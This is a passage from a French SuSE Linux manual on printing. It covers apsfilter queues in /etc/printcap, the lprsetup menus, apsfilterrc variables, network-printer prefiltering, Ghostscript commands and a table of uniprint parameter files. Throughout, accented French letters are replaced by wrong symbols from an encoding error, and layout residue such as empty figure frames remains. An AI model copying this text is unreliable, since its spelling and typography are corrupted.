  22152.                            | ###  END     apsfilter:  ###  bjc800  a4  mono  360  ###                                              *
  22153.  *         |
  22154.                            |_______________________________________________________________________________________________________*
  22155.  *________ |
  22156.  
  22157.                               fichier 12.3.2: apsfilter Files d'impression apsfilter dans /etc/printcap
  22158.  
  22159.  
  22160.                            Les trois entrΘes sont structurΘes de la mΩme maniΦre, c'est pourquoi nous
  22161.                            avons un peu abrΘgΘ. Vous devez dΘterminer le pΘriphΘrique (lp=   ), le rΘper-
  22162.                            toire de spool (sd=   ), le fichier de trace (log, lf=   ), le fichier de comptabilitΘ
  22163.                            (af=   ) et les filtres standard (if=   ). Les pages d'en-tΩte au dΘbut des travaux
  22164.                            (sh  ) et les sauts de page α la fin (angl. formfeed) (sf  ) sont supprimΘs.
  22165.  
  22166.  
  22167.                            Configuration avec SETUP  (lprsetup        )
  22168.  
  22169.                            Le paquetage aps contient le programme de configuration SETUP  (/var/
  22170.                            lib/apsfilter/SETUP), qu'il est facile d'invoquer avec lprsetup       . Il offre
  22171.                            les services suivants :
  22172.  
  22173.  
  22174. 342
  22175.        ____________________________________________________________12.3.__Filtres_d'impression_~_le_filtre_``apsfilter''___________*
  22176.  *______________________
  22177.  
  22178.  
  22179.  
  22180.   ~   Listage de toutes les configurations d'imprimantes apsfilter
  22181.   ~   Ajout et suppression de configurations d'imprimantes apsfilter .
  22182. Pour l'ajout d'imprimantes locales, lprsetup         fait (presque) la mΩme chose
  22183. que YaST . lprsetup        peut aussi crΘer et supprimer des files d'impression qui
  22184. se rΘfΦrent α des h⌠tes distants (angl. remote) (``files d'impression distantes'',
  22185. voir fichier 12.2.2 page 339) et mettre intelligemment en place un prΘfiltrage
  22186. pour les imprimantes rΘseau.
  22187.  
  22188. lprsetup         est pilotΘ par menu et ~ aprΦs une courte pΘriode d'adaptation ~ il
  22189. est facile α utiliser.
  22190.  
  22191.  
  22192.  
  22193.  1.   Invoquez lprsetup        :
  22194.  
  22195.            terre:  #  lprsetup
  22196.  
  22197.       Si,  sous  le  systΦme  X  Window,  vous  avez  quelques  problΦmes  de  lec-
  22198.       ture  dans  un  xterm     (mots-clΘs  :  texte  jaune  sur  fond  gris  clair),  lancez
  22199.       lprsetup        sur la console texte. Il apparaεt un Θcran d'accueil qui dΘcrit la
  22200.       procΘdure, dΘjα mentionnΘe,_de mise en place de nouvelles imprimantes
  22201.       apsfilter . Avec |E_________|ntrΘevous arrivez au menu principal :
  22202.  
  22203.                      EXIT              Exit apsfilter setup
  22204.                      LISTING           List all apsfilter entries
  22205.                      ENTRY             Add/Overwrite/Delete an apsfilter entry
  22206.                      DELETE            Fast delete an apsfilter entry
  22207.  
  22208.       Le choix entre les deux_champs de rΘponse_`OK'_et `Cancel' se fait dans
  22209.       tous les menus par |____Ta|b. Avec |_#|et |_"|, vous vous dΘplacez parmi les listes
  22210.       de sΘlection.
  22211.  
  22212.  
  22213.       `EXIT'       ~ Quitter lprsetup       .
  22214.  
  22215.       `LISTING'          ~ ╔tablir une liste de toutes les files d'impression dΘjα exis-
  22216.           tantes.
  22217.  
  22218.       `ENTRY'        ~ Pour ajouter une nouvelle imprimante, vous utiliserez l'op-
  22219.           tion  `ENTRY'.  Cela  vous  conduira  α  un  autre  menu  `Choose  your
  22220.           printer  definition' dans lequel vous dΘfinirez votre imprimante.
  22221.  
  22222.       `DELETE'         ~ Pour supprimer une imprimante apsfilter, vous sΘlectionne-
  22223.           rez  `DELETE'  et  vous  obtiendrez  ainsi  une  liste  de  toutes  les  impri-
  22224.           mantes apsfilter parmi lesquelles vous pourrez faire votre choix.
  22225.  
  22226.  
  22227.  2.   SΘlectionnez  par  consΘquent  `ENTRY'.  Pour  une  imprimante  locale,  on
  22228.       vous  demandera  de  fournir  les  mΩmes  dΘtails  que  pour  la  configura-
  22229.       tion  avec  YaST .  Il  vous  sera  d'abord  demandΘ  quel  est  le  pΘriphΘrique
  22230.       (`DEVICE')  .  Pour  une  imprimante  locale  sur  port  parallΦle,  rΘpondez
  22231.       /dev/lp0 si vous utilisez le noyau 2.2.xx.
  22232.  
  22233.  3.   Vous voyez maintenant ce qui suit :
  22234.  
  22235.  
  22236.                                                                                                                                    *
  22237.  *   343
  22238. 12.  L'impression _________________________________________________________________________________________________________________*
  22239.  *_______________________________________@
  22240.  
  22241.  
  22242.                                                   RETURN                    Back to previous menu
  22243.  
  22244.                                                   DEVICE                    Change printer interface
  22245.                                                   PRINTER                   Which printer driver
  22246.                                                   PAPER                     Which paper type
  22247.                                                   COLOR                     Monochrome/colorfull
  22248.                                                   SPECIAL                   Settings for your printer
  22249.                                                   RESET                     Reset the printer definition
  22250.                                                   ADD                       Add the printer definition
  22251.                                                   OVERWRITE                 Overwrite the printer definition
  22252.                                                   DELETE                    Delete the printer definition
  22253.  
  22254.                                  `DEVICE'         ~ Nous l'avions dΘjα sΘlectionnΘ.
  22255.  
  22256.                                  `PRINTER'          ~ Occupons-nous maintenant de `PRINTER' (imprimante).
  22257.                                      C'est ici que le nom du pΘriphΘrique Ghostscript (``pilote'') adΘquat va
  22258.                                      Ωtre recherchΘ. Ceci se dΘroule en deux phases :
  22259.  
  22260.                                    (a)   Choisissez maintenant le type de votre imprimante :
  22261.  
  22262.                                         ~   `PostScript'
  22263.  
  22264.                                         ~   `HEWLETT-PACKARD' (HP Deskjets)
  22265.  
  22266.                                         ~   `OTHER' (autres imprimantes ne gΘrant pas PostScript)
  22267.  
  22268.                                         ~   `FREEDEF' (dΘfinition libre).
  22269.  
  22270.                                    (b)   Pour les vΘritables imprimantes PostScript, vous devrez encore spΘ-
  22271.                                          cifier la rΘsolution dans une boεte de dialogue. Pour toutes les autres
  22272.                                          imprimantes,  vous  obtiendrez,  sous  l'option  du  menu  `COMMIT',
  22273.                                          la  liste  des  pilotes  Ghostscript  qu'il  vous  est  possible  de  choisir.
  22274.                                          Consultez α ce sujet le paragraphe 12.6 page 349. AprΦs avoir sΘ-
  22275.                                          lectionnΘ un pilote Ghostscript, vous verrez apparaεtre une boεte de
  22276.                                          dialogue dans laquelle vous spΘcifierez la rΘsolution de votre impri-
  22277.                                          mante.
  22278.  
  22279.                                          ~ Vous reviendrez ensuite au menu supΘrieur avec `RETURN'.
  22280.  
  22281.                                  `PAPER'        ~ Format du papier.
  22282.  
  22283.                                  `COLOR'        ~ Couleur ou monochrome
  22284.  
  22285.                                  `SPECIAL'          ~ En gΘnΘral, ces spΘcifications ne sont pas indispensables.
  22286.  
  22287.                             4.   Vous retournerez au menu `Choose  your  printer  definition' et si
  22288.                                  la dΘfinition devait Ωtre erronΘe, vous pourrez sΘlectionner de nouveau les
  22289.                                  diffΘrents sous-menus et corriger cette erreur.
  22290.  
  22291.                             5.   Important : Avec `ADD', la nouvelle imprimante sera enfin configurΘe.
  22292.  
  22293.  
  22294.                            Recherchez  dans  le  fichier  /etc/printcap  le  nom  de  vos  nouvelles  files
  22295.                            d'impression, par exemple avec less    6 . . Chaque file d'impression apsfilter
  22296.                            a plusieurs noms : des noms dΘtaillΘs qui permettent de reconnaεtre les don-
  22297.                            nΘes  de  votre  dΘfinition  et  des  noms  courts  pour  plus  de  commoditΘ  (voir
  22298.                            fichier 12.3.2 page 342). Notez aussi que lp  , lp-mono       , ascii     , raw    sont les
  22299.                            files d'impression de la premiΦre imprimante locale,
  22300.                            _____________________________________________6
  22301.                              Il est dΘcrit comme utiliser less   au paragraphe 19.7.3 page 489.
  22302.  
  22303.  
  22304. 344
  22305.        ____________________________________________________________12.3.__Filtres_d'impression_~_le_filtre_``apsfilter''___________*
  22306.  *______________________
  22307.  
  22308.  
  22309.  
  22310. Les fichiers de configuration apsfilterrc
  22311. Les  fichiers  /etc/apsfilterrc*                vous  donnent  la  possibilitΘ  de  rΘgler  de
  22312.  
  22313. faτon encore plus prΘcise certains dΘtails du script de commande apsfilter  α
  22314. l'aide de quelques variables de shell. Lors de l'installation, il est mis en place,
  22315. de faτon standard :
  22316.  
  22317.   ~   un fichier global /etc/apsfilterrc               ,
  22318.  
  22319.   ~   des  fichiers  /etc/apsfilterrc.<gs_mode>                            spΘcifiques  α  l'impri-
  22320.       mante pour les files d'impression avec le pilote d'imprimante Ghostscript
  22321.       <gs`mode> (par exemple pour l'imprimante Canon BubbleJet800 :
  22322.       /etc/apsfilterrc.bjc800                     ).
  22323.        _______________________________________________________________________________________________________________________||
  22324.        ||||||||  Les versions prΘinstallΘes de ces fichiers contiennent des entrΘes exemples                    |||            |
  22325.        ||||||||                                                                                                 ||             |
  22326.        ||||||||  commentΘes  pour  toutes  les  variables  prΘvues).  Dans  le  fichier  global                 ||             |
  22327.        ||||||||  /etc/apsfilterrc               , la signification de chaque variable fait en outre l'ob-       ||             |
  22328.        ||||||||                                                                                                 ||             |
  22329.        ||||||||  jet de commentaires dΘtaillΘs. Il est recommandΘ de les lire ;-)                               ||             |
  22330.        ||||||||_______________________________________________________________________________________________________________||_
  22331.  
  22332. Les variables dans les fichiers spΘcifiques aux imprimantes sont les mΩmes
  22333. que dans le fichier global /etc/apsfilterrc                et pour plus de facilitΘ elles
  22334. sont numΘrotΘes de maniΦre identique. Apsfilter  lit pour chacun des travaux
  22335. d'impression tout d'abord le fichier global et ensuite le fichier apsfilterrc
  22336. spΘcifique α l'imprimante : en cas de doute, ce sont les configurations conte-
  22337. nues dans le deuxiΦme qui sont utilisΘes. Vous pouvez ainsi prΘvoir les confi-
  22338. gurations normales contenues dans /etc/apsfilterrc                (par exemple pour
  22339. la rΘsolution de l'imprimante) et remplacer cependant de telles valeurs stan-
  22340. dards par d'autres valeurs spΘcialement adaptΘes. Les modifications apportΘes
  22341. aux fichiers apsfilterrc deviennent immΘdiatement effectives.
  22342.  
  22343. Nous  renonτons  ici  α  reproduire  la  totalitΘ  du  fichier  /etc/apsfilterrc
  22344. et nous nous contenterons d'ΘnumΘrer quelques variables frΘquemment utili-
  22345. sΘes :
  22346.  
  22347.   ~   FEATURE       et USE_RECODE_NOT_A2PS                  rΦglent le filtrage des fichiers ASCII
  22348.       (ainsi qu'il est dΘjα dΘcrit α la page 341).
  22349.  
  22350.   ~   REMOTE_PRINTER              est utilisΘe pour le prΘfiltrage de travaux effectuΘs sur
  22351.       des  imprimantes  rΘseau.  Si  elle  est  positionnΘe  α  true   ,  les  travaux  de
  22352.       la file d'impression concernΘe seront transfΘrΘs, aprΦs filtrage, dans une
  22353.       file  d'impression  spΘciale  remote     .  Si  vous  choisissez  une  autre  valeur,
  22354.       celle-ci  sera  interprΘtΘe  comme  Θtant  le  nom  de  l'imprimante  distante.
  22355.       Voir paragraphe 12.4 page suivante.
  22356.  
  22357.   ~   PRINT_RAW_SETUP_PRINTER                      est prΘvue pour une sΘquence d'Θchappe-
  22358.       ment  qui  pourrait  Ωtre  Θventuellement  nΘcessaire  lors  de  l'initialisation
  22359.       de  l'imprimante  pour  les  travaux  qui  se  trouvent  dans  la  file  d'im-
  22360.       pression  raw   .  Son  contenu  est  α  chaque  fois  transmis  α  l'imprimante
  22361.       avant  l'exΘcution  d'un  travail  d'impression  raw  .  Un  exemple  ainsi  que
  22362.       des  spΘcifications  concernant  la  syntaxe  sont  contenus  dans  le  fichier
  22363.       /etc/apsfilterrc               .
  22364.  
  22365.   ~   GS_RESOL        permet de prΘvoir, pour le filtre Ghostscript, une autre rΘsolu-
  22366.       tion que celle configurΘe α l'origine pour l'imprimante.
  22367.  
  22368.  
  22369.                                                                                                                                    *
  22370.  *   345
  22371. 12.  L'impression _________________________________________________________________________________________________________________*
  22372.  *_______________________________________@
  22373.  
  22374.  
  22375.  
  22376.                              ~   DO_ACCOUNTING             doit Ωtre positionnΘe α yes    si vous souhaitez crΘer un
  22377.                                  fichier de comptabilitΘ. Vous devrez Θgalement remplacer, dans le fichier
  22378.                                  /etc/printcap, la valeur   :la  :    par   :la@  :     afin que le fichier spΘci-
  22379.                                  fiΘ, pour af   (angl. accounting file) soit pris en compte. Pour pouvoir tirer
  22380.                                  parti de cette fonction, vous devriez utiliser plp  (remplacez le paquetage
  22381.                                  lrpold par le paquetage plpn).
  22382.  
  22383.                            Configurations   spΘcifiques   α   l'utilisateur   :   La   version   d'apsfilter   dans
  22384.                            SuSE      Linux.  supporte  aussi  un  fichier  ~/.apsfilterrc  propre  α  l'uti-
  22385.                            lisateur  dans  son  rΘpertoire  personnel.  Ce  fichier  est  toujours  exploitΘ
  22386.                            aprΦs  les  fichiers  apsfilterrc  du  systΦme  et  peut  de  ce  fait  Θcraser  leur
  22387.                            contenu.  Pour  des  raisons  de  sΘcuritΘ  ~  la  lecture  a  lieu  avec  les  droits
  22388.                            du  dΘmon  d'impression  en  cours  d'exΘcution !  ~  il  ne  sera  toutefois  tenu
  22389.                            compte,  parmi  toutes  les  instructions  contenues  dans  ~/.apsfilterrc,
  22390.                            que  de  celles  qui  fixent  une  nouvelle  valeur  pour  l'une  des  variables  sui-
  22391.                            vantes  :  TEXINPUTS        ,  PRINT_DVI        ,  GS_FEATURES         ,  USE_RECODE_NOT_A2PS           *
  22392.  *      ,
  22393.                            FEATURE       , A2PS_OPTS         , DVIPS_MODE          , GS_RESOL        7 . Toutes les autres instruc-
  22394.                            tions seront ignorΘes.
  22395.  
  22396.                            Si vous avez besoin d'un HOME/.apsfilterrc                , copiez vers celui-ci l'un des
  22397.                            fichiers apsfilterrc du systΦme et Θditez, en cas de besoin, la copie de ce
  22398.                            fichier.
  22399.  
  22400.  
  22401.  
  22402.                            12.4        Imprimantes rΘseau avec apsfilter
  22403.  
  22404.                            Une imprimante rΘseau avec son propre port rΘseau TCP/IP est considΘrΘe par
  22405.                            le systΦme de spool comme un h⌠te distant avec ses propres files d'impression
  22406.                            (Noms  :  voir  le  manuel  de  l'imprimante,  souvent  LPT1     etc.).  Elle  est  par
  22407.                            consΘquent  accessible  via  une  file  d'impression  distante,  par  exemple  sous
  22408.                            le nom remote      , α partir de la machine locale.
  22409.  
  22410.                            Si  toutefois  vous  avez  besoin  d'un  filtrage  des  travaux  d'impression,  les
  22411.                            choses  se  compliquent  quelque  peu  du  fait  que  le  dΘmon  d'impression  lpd
  22412.                            (paquetage  lprold)  n'exΘcute  aucun  prΘfiltrage  et  ignore  aussi  les  spΘcifi-
  22413.                            cations concernant les filtres contenus dans le fichier /etc/printcap. Les
  22414.                            travaux destinΘs α cette file d'impression remote       doivent donc dΘjα contenir
  22415.                            des donnΘes spΘcifiques α l'imprimante.
  22416.  
  22417.                            Ceci  peut  Ωtre  obtenu  en  rΘalisant  un  prΘfiltrage  au  moyen  de  la  fonction
  22418.                            ``bypass'' de la version SuSE     du programme apsfilter
  22419.  
  22420.                            La configuration effectuΘe α l'aide de YaST  demande un peu de travail ma-
  22421.                            nuel.  Vous  pouvez  vous  faciliter  les  choses  en  donnant  la  prΘfΘrence  au
  22422.                            programme  lprsetup       .  Lancez  lprsetup         de  la  maniΦre  dΘcrite  au  para-
  22423.                            graphe  12.3  page  342  et  pages  suivantes.  Il  vous  sera  demandΘ  le  nom  du
  22424.                            pΘriphΘrique (`DEVICE') ;        voir page 343) :
  22425.  
  22426.                                                     PARALLEL               Parallel printer interface
  22427.                                                     SERIAL                 Serial printer interface
  22428.                                                     PREFILTER              to an other queue (bypass)
  22429.                                                     REMOTE                 printer forwarding queue
  22430.                            _____________________________________________7
  22431.                              Voir la variable allowed dans /var/lib/apsfilter/apsfilter
  22432.  
  22433.  
  22434. 346
  22435.        _______________________________________________________12.5.__Quelques_prΘcisions_au_sujet_de_Ghostscript___________________*
  22436.  *______________________
  22437.  
  22438.  
  22439.  
  22440.  1.   CrΘez tout d'abord avec, `REMOTE', une file d'impression qui rΘfΘrence
  22441.       l'imprimante rΘseau distante : Il vous sera demandΘ quel est l'h⌠te dis-
  22442.       tant  (angl.  remote  host)  auquel  l'imprimante  est  connectΘe  (dans  notre
  22443.       exemple  :  soleil)  et  quelle  est  la  file  d'impression  distante  (angl.  re-
  22444.       mote printer) ~ en rΦgle gΘnΘrale se sera lp   mais en cas de doute consul-
  22445.       tez votre administrateur rΘseau ! La question de la file d'impression dis-
  22446.       tante est ainsi rΘglΘe mais n'oubliez pas de l'installer effectivement avec
  22447.       `ADD' : : :     L'entrΘe dans le fichier /etc/printcap est semblable, α ce
  22448.       moment, α celle du fichier 12.4.1.
  22449.  
  22450.        _______________________________________________________________________________________________________________________||
  22451.        |||||||| remote|lp1|soleil-lp|soleil  lp:\                                                                              |
  22452.        ||||||||               :lp=:\                                                                                           |
  22453.        ||||||||                                                                                                                |
  22454.        ||||||||               :rm=soleil:\                                                                                     |
  22455.        ||||||||               :rp=lp:\                                                                                         |
  22456.        ||||||||                                                                                                                |
  22457.        ||||||||               :sd=/var/spool/lpd/soleil-lp:\                                                                   |
  22458.        ||||||||               :lf=/var/spool/lpd/soleil-lp/log:\                                                               |
  22459.        ||||||||                                                                                                                |
  22460.        ||||||||               :af=/var/spool/lpd/soleil-lp/acct:\                                                              |
  22461.        ||||||||               :ar:bk:mx#0:\                                                                                    |
  22462.        ||||||||               :sh:                                                                                             |
  22463.        ||||||||_______________________________________________________________________________________________________________ |
  22464.  
  22465.                  fichier 12.4.1: /etc/printcap             : Imprimantes rΘseau
  22466.  
  22467.  
  22468.  2.   Nous  voici  maintenant  au  ``prΘfiltrage  local''.  Cette  fois-ci,  vous  rΘ-
  22469.       pondrez  α  la  question  `DEVICE'  en  choisissant  l'option  `PREFILTER'
  22470.       (angl. to an other queue (bypass))               .  lprsetup         est  assez  intelligent  pour
  22471.       proposer l'imprimante rΘseau qui vient d'Ωtre configurΘe.
  22472.            remote    remote=soleil  queue=lp
  22473.  
  22474.       Vous  ferez  le  reste  comme  si  vous  deviez  procΘder  α  la  configuration
  22475.       d'une  imprimante  locale  normale.  Voir  page  344  et  pages  suivantes.  Si
  22476.       pour  terminer  vous  avez  sΘlectionnΘ  `ADD',  vous  trouverez  en  plus  de
  22477.       /etc/apsfilterrc               (voir fichier 12.3.2 page 342) un fichier du nom de
  22478.       /etc/apsfilterrc.bjc800                     ) avec l'entrΘe :
  22479.            REMOTE_PRINTER="remote"
  22480.  
  22481.       Cette entrΘe fait rΘfΘrence α l'imprimante rΘseau. S'il existe plusieurs im-
  22482.       primantes rΘseau, les noms de ces autres imprimantes seront alors utilisΘs
  22483.       α la place de "remote"       8 .
  22484.  
  22485.  
  22486. Voir la reprΘsentation graphique d'une telle configuration dans la figure 12.1
  22487. page suivante.
  22488.  
  22489.  
  22490.  
  22491. 12.5        Quelques prΘcisions au sujet de Ghostscript
  22492.  
  22493. Si vous n'Ωtes pas prΘcisΘment l'heureux propriΘtaire d'une imprimante Post-
  22494. Script, Ghostscript sera, pour le filtre d'impression proprement dit, le choix le
  22495. plus judicieux. Ghostscript accepte l'entrΘe de fichiers PostScript et contient
  22496. un grand nombre de pilotes pour la conversion vers un format gΘrΘ par l'im-
  22497. primante.
  22498. 8      ____________________________________________________
  22499.   Si vous effectuez votre configuration avec YaST , vous devrez faire manuellement cette entrΘe
  22500. et veiller α bien spΘcifier /dev/null comme pΘriphΘrique.
  22501.  
  22502.  
  22503.                                                                                                                                    *
  22504.  *   347
  22505. 12.  L'impression _________________________________________________________________________________________________________________*
  22506.  *_______________________________________@
  22507.                            |                                                                                                       *
  22508.  *         |
  22509.                            ________________________________________________________________________________________________________*
  22510.  *________||||
  22511.  
  22512.                            |                                                                                                       *
  22513.  *         |
  22514.                            ||                                                                                                      *
  22515.  *         ||
  22516.                            |                                                                                                       *
  22517.  *         |
  22518.                            |                                                                                                       *
  22519.  *         |
  22520.                            |                                                                                                       *
  22521.  *         |
  22522.                            |                                                                                                       *
  22523.  *         |
  22524.                            |                                                                                                       *
  22525.  *         |
  22526.                            |                                                                                                       *
  22527.  *         |
  22528.                            |                                                                                                       *
  22529.  *         |
  22530.                            |                                                                                                       *
  22531.  *         |
  22532.                            |                                                                                                       *
  22533.  *         |
  22534.                            |                                                                                                       *
  22535.  *         |
  22536.                            |                                                                                                       *
  22537.  *         |
  22538.                            |                                                                                                       *
  22539.  *         |
  22540.                            |                                                                                                       *
  22541.  *         |
  22542.                            |                                                                                                       *
  22543.  *         |
  22544.                            |                                                                                                       *
  22545.  *         |
  22546.                            |                                                                                                       *
  22547.  *         |
  22548.                            |                                                                                                       *
  22549.  *         |
  22550.                            |                                                                                                       *
  22551.  *         |
  22552.                            |                                                                                                       *
  22553.  *         |
  22554.                            |                                                                                                       *
  22555.  *         |
  22556.                            |                                                                                                       *
  22557.  *         |
  22558.                            |                                                                                                       *
  22559.  *         |
  22560.                            |                                                                                                       *
  22561.  *         |
  22562.                            |                                                                                                       *
  22563.  *         |
  22564.                            |                                                                                                       *
  22565.  *         |
  22566.                            |                                                                                                       *
  22567.  *         |
  22568.                            |                                                                                                       *
  22569.  *         |
  22570.                            |                                                                                                       *
  22571.  *         |
  22572.                            |                                                                                                       *
  22573.  *         |
  22574.                            |                                                                                                       *
  22575.  *         |
  22576.                            |                                                                                                       *
  22577.  *         |
  22578.                            |_______________________________________________________________________________________________________*
  22579.  *________ |
  22580.  
  22581.                                                   Fig. 12.1: apsfilter local, l'imprimante rΘseau
  22582.                            Ghostscript (gs  (1)) ~ dΘcrit dans la page de man de gs   (man  gs     ) ~ est un
  22583.                            programme trΦs Θtendu avec de nombreuses options en ligne de commande.
  22584.                            Une invocation directe de Ghostscript ouvre, aprΦs l'exΘcution de la ligne de
  22585.                            commande, un dialogue avec des invites GS>    que l'on quitte par la commande
  22586.                            quit    . Nous ne disposons pas ici de suffisamment de place pour traiter toutes
  22587.                            les possibilitΘs qui existent. apsfilter se charge heureusement α votre place de
  22588.                            l'Θlaboration quelque peu compliquΘe de la ligne de commande.
  22589.  
  22590.                            Nous attirons toutefois votre attention sur la commande d'aide vraiment utile
  22591.  
  22592.                                  tux@terre:  >  gs  -h  |  less
  22593.  
  22594.                            qui liste les options les plus indispensables et ~ ce qui est essentiel ! ~ affiche
  22595.                            le numΘro de version et la liste actuelle des pΘriphΘriques supportΘs. Cette
  22596.                            liste, telle qu'elle est actuellement  au moment de la mise sous presse de ce
  22597.                            livre, vous est prΘsentΘe au paragraphe 12.6 page ci-contre.
  22598.  
  22599.                            En  cas  de  difficultΘs  avec  l'imprimante,  il  peut  Ωtre  utile  de  faire  un  test
  22600.                            en invoquant directement Ghostscript avec un fichier PostScript (.ps) et en
  22601.                            transmettant  directement  au  pΘriphΘriques  les  donnΘes  spΘcifiques  α  l'im-
  22602.                            primante  qui  ont  ΘtΘ  gΘnΘrΘes.  Vous  trouverez  un  bon  nombre  de  fichiers
  22603.                            PostScript adΘquats, par exemple sous
  22604.                            /usr/share/ghostscript/<NumΘro_de_version>                   /examples ou /var/
  22605.                            lib/apsfilter/test.
  22606. 348
  22607.        _______________________________________________________________________12.6.__Liste_des_imprimantes_supportΘes______________*
  22608.  *______________________
  22609.  
  22610.  
  22611.  
  22612. L'invocation de Ghostscript, par exemple pour le pilote d'imprimante intΘgrΘ
  22613. necp6      avec une rΘsolution de 360   360 et pour la sortie sur l'imprimante de
  22614. /dev/lp0, ressemble α ceci :
  22615.  
  22616. tux@terre:  >  gs  -q  -dNOPAUSE  -dSAFER  -sDEVICE=necp6  \
  22617.              -r360x360  -sOutputFile=fichiertest.lpr  Fichiertest.ps
  22618. tux@terre:  >  su
  22619. terre:  #  cat  fichiertest.lpr  >  /dev/lp0
  22620. Si vous utilisez le pilote uniprint         avec un fichier de paramΦtres, les com-
  22621. mandes (pour une imprimante Stylus) sont :
  22622.  
  22623. tux@terre:  >  gs  @stc.upp  -q  -dNOPAUSE  -dSAFER  \
  22624.              -r360x360  -sOutputFile=fichiertest.lpr  fichiertest.ps  quit.ps
  22625. tux@terre:  >  su
  22626. terre:  #  cat  fichiertest.lpr  >  /dev/lp0
  22627. Tuyaux  :  Dans  /usr/share/ghostscript/<version>          /doc,  vous  trou-
  22628. verez une documentation trΦs utile. devices.txt par exemple contient des
  22629. indications concernant toute une sΘrie d'imprimantes rΘcentes.
  22630.  
  22631. Avec  la  page  d'accueil  de  Ghostscript,  vous  pouvez  vous  tenir  au  courant
  22632. de  l'Θtat  actuel  des  choses  concernant  Ghostscript  (versions,  imprimantes
  22633. supportΘes etc.). Vous pouvez la trouver sous l'URL http://www.cs.wisc.
  22634. edu/~ghost/index.html.
  22635.  
  22636.  
  22637.  
  22638. 12.6        Liste des imprimantes supportΘes
  22639.  
  22640. Outre les PostScript, HP Deskjet et Epson Stylus, Ghostscript supporte encore
  22641. un grand nombre d'autres imprimantes (rΘfΘrence : version 5.10). Le pilote
  22642. ``uniprint        '' que l'on peut adapter α l'aide d'un fichier de paramΦtres α l'im-
  22643. primante que l'on souhaite utiliser est une nouveautΘ depuis la version 5. Vous
  22644. pouvez Θgalement sΘlectionner ces fichiers de paramΦtres avec lprsetup        et il
  22645. vous est possible, en cas de besoin, de les modifier en fonction de vos critΦrers
  22646. personnels. Ils se situent sous /usr/share/ghostscript/<VERSION>/                                 et
  22647. leurs noms se terminent par .upp. Il est donc recommandΘ de donner la prΘfΘ-
  22648. rence α ces fichiers de paramΦtres dans la mesure o∙ ils sont dΘjα disponibles
  22649. pour votre modΦle d'imprimante.
  22650.  
  22651.        ______________________________________________________________________________________________________________________
  22652.  
  22653.    Canon
  22654.  
  22655.  
  22656.    bjc610a0.upp                   BJC 610, 360x360DPI, plain paper high speed, co-
  22657.                                   lor, rendered
  22658.    bjc610a1.upp                   BJC 610, 360x360DPI, plain paper, color, rendered
  22659.    bjc610a2.upp                   BJC 610, 360x360DPI, coated paper, color, rende-
  22660.                                   red
  22661.    bjc610a3.upp                   BJC  610,  360x360DPI,  transparency  film,  color,
  22662.                                   rendered
  22663.    bjc610a4.upp                   BJC 610, 360x360DPI, back print film, color, ren-
  22664.                                   dered
  22665.  
  22666.        ______________________________________________________________________________________________________________________
  22667.  
  22668.                           Tab. 12.1: Continuer α la page suivante...
  22669.  
  22670.                                                                                                                                    *
  22671.  *   349
  22672. 12.  L'impression _________________________________________________________________________________________________________________*
  22673.  *_______________________________________@
  22674.  
  22675.                             _______________________________________________________________________________________________________*
  22676.  *_________
  22677.  
  22678.  
  22679.                               bjc610a5.upp                   BJC 610, 360x360DPI, fabric sheet, color, rendered
  22680.                               bjc610a6.upp                   BJC 610, 360x360DPI, glossy paper, color, rende-
  22681.                                                              red
  22682.                               bjc610a7.upp                   BJC 610, 360x360DPI, high gloss film, color, ren-
  22683.                                                              dered
  22684.                               bjc610a8.upp                   BJC 610, 360x360DPI, high resolution paper, color,
  22685.                                                              rendered
  22686.                               bjc610b1.upp                   BJC 610, 720x720DPI, plain paper, color, rendered
  22687.                               bjc610b2.upp                   BJC 610, 720x720DPI, coated paper, color, rende-
  22688.                                                              red
  22689.                               bjc610b3.upp                   BJC  610,  720x720DPI,  transparency  film,  color,
  22690.                                                              rendered
  22691.                               bjc610b4.upp                   BJC 610, 720x720DPI, back print film, color, ren-
  22692.                                                              dered
  22693.                               bjc610b6.upp                   BJC 610, 720x720DPI, glossy paper, color, rende-
  22694.                                                              red
  22695.                               bjc610b7.upp                   BJC 610, 720x720DPI, high gloss paper, color, ren-
  22696.                                                              dered
  22697.                               bjc610b8.upp                   BJC 610, 720x720DPI, high resolution paper, color,
  22698.                                                              rendered
  22699.  
  22700.  
  22701.                               Hewlett-Packard
  22702.  
  22703.  
  22704.                               cdj550.upp                     Deskjet 550c, 300x300DpI, Gamma=2
  22705.  
  22706.  
  22707.                               NEC
  22708.  
  22709.  
  22710.                               necp2x.upp                     Prinwriter 2X, 360x360DPI, Plain Paper
  22711.                               necp2x6.upp                    Prinwriter 2X, 360x360DPI, Plain Paper
  22712.  
  22713.  
  22714.                               Epson
  22715.  
  22716.  
  22717.                               stc.upp                        Stylus Color I (and PRO Series), 360x360DPI, Plain
  22718.                                                              Paper
  22719.                               stc`h.upp                      Stylus Color I (and PRO Series), 720x720DPI, Spe-
  22720.                                                              cial Paper
  22721.                               stc`l.upp                      Stylus Color I (and PRO Series), 360x360DPI, no-
  22722.                                                              Weave
  22723.                               stc1520h.upp                   Stylus Color 1520, 1440x720DPI, Inkjet Paper
  22724.                               stc2.upp                       Stylus Color II / IIs, 360x360DPI, Plain Paper
  22725.                               stc2`h.upp                     Stylus Color II, 720x720DPI, Special Paper
  22726.                               stc2s`h.upp                    Stylus Color IIs, 720x720DPI, Special Paper
  22727.                               stc500p.upp                    Stylus Color 500, 360x360DPI, not Weaved, Plain
  22728.                                                              Paper
  22729.  
  22730.                             _______________________________________________________________________________________________________*
  22731.  *_________
  22732.  
  22733.                                                      Tab. 12.1: Continuer α la page suivante...
  22734.  
  22735.  
  22736.  
  22737. 350
  22738.        _______________________________________________________________________12.6.__Liste_des_imprimantes_supportΘes______________*
  22739.  *______________________
  22740.  
  22741.        ______________________________________________________________________________________________________________________
  22742.  
  22743.  
  22744.    stc500ph.upp                   Stylus Color 500, 720x720DPI, not Weaved, Plain
  22745.                                   Paper
  22746.    stc600ih.upp                   Stylus Color 600, 1440x720DPI, Inkjet Paper
  22747.    stc600p.upp                    Stylus Color 600, 720x720DPI, Plain Paper
  22748.    stc600pl.upp                   Stylus Color 600, 360x360DPI, Plain Paper
  22749.    stc800ih.upp                   Stylus Color 800, 1440x720DPI, Inkjet Paper
  22750.    stc800p.upp                    Stylus Color 800, 720x720DPI, Plain Paper
  22751.    stc800pl.upp                   Stylus Color 800, 360x360DPI, Plain Paper
  22752.    stcany.upp                     Any Stylus Color, 360x360DPI
  22753.  
  22754.        ______________________________________________________________________________________________________________________
  22755.  
  22756.    Tab. 12.1: Fichiers de paramΦtres du pilote uniprint        (Ghostscript 5.10)
  22757. Si vous n'avez pas trouvΘ de fichier de paramΦtres pour votre modΦle, vous
